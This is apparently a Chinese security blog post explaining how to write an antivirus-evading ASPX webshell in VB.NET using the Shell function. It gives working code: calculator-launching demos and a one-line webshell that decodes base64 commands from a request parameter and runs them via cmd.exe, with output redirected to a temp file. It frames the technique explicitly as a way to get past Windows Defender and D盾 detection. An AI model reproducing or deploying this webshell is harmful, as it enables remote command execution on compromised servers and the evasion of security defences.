利用VB.NET Shell方法绕过防护执行命令

0x01 背景

.NET安全矩阵群有位师傅私聊问有没有能过windows  defender的webshell,之前星球和群里也分享了不少的免杀webshell,但还有师傅反馈D盾把分享过的webshell杀的很厉害,所以有必要再看一看新的免杀技巧。这位师傅需要短小精悍的一句话,在VB.NET领域研究了一下,于是乎有了这篇文章。.

利用VB.NET Shell方法绕过防护执行命令

0x02 Shell函数

为什么要研究VB.NET呢,因为在默认没有指定@Page语言种类时.NET FrameWork框架层面使用vbc.exe处理ASPX扩展名文件,所以VB的优先级高于C#,解析器会按VB的语法运行代码,如下demo

<%System.Diagnostics.Process.Start("cmd.exe", "/c calc")%>

这段代码已经是.NET下很简短的一句话,如果在特殊场景下还需要缩短的话,可以使用接下来的主角函数Shell

2.1 Shell介绍

在VB时代很多场景下需要在应用程序中直接打开电脑中的某个文件,如excel、word、ppt、图片、视频等文件。那么这时候就需要使用到Shell函数

[SecuritySafeCritical][SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.UnmanagedCode)]public static int Shell(string PathName, AppWinStyle Style = AppWinStyle.MinimizedFocus, bool Wait = false, int Timeout = -1)

返回一个 Int类型,如果成功的话,代表这个程序的进程ID,若不成功,则会返回 0。PathName:用来指定要执行的程序名,AppWinStyle:可选参数。表示程序运行时的窗口样式,默认以焦点最小化窗口执行。在VB.NET里使用SecurityPermissiont特性里的属性SecurityPermissionFlag.UnmanagedCode来提供调用非托管代码的能力,再通过NativeMethods.CreateProcess创建新的 进程,如下图

利用VB.NET Shell方法绕过防护执行命令

好了,有上面的基础知识做铺垫,我们也了解它的内部实现原理,提供一个最短小的demo,即可弹出计算器

<%Shell("cmd.exe /c calc")%>

利用VB.NET Shell方法绕过防护执行命令

2.2 实现WebShell

<%If (Request("content") <> "") Then Shell("cmd.exe /c " & System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request("content"))))%>

需要注意的是shell函数返回的值为int类型,所以拿不到ipconfig、tasklist命令执行后的结果,所以需要曲线救国,通过写文件的方式把结果写入到文本里,当然需要提前知道站点路径了例如:tasklist>c:\\windows\\temp\\2.txt,这里为了减少编码对预期结果的影响,使用base64编码传递,如下图成功写入

利用VB.NET Shell方法绕过防护执行命令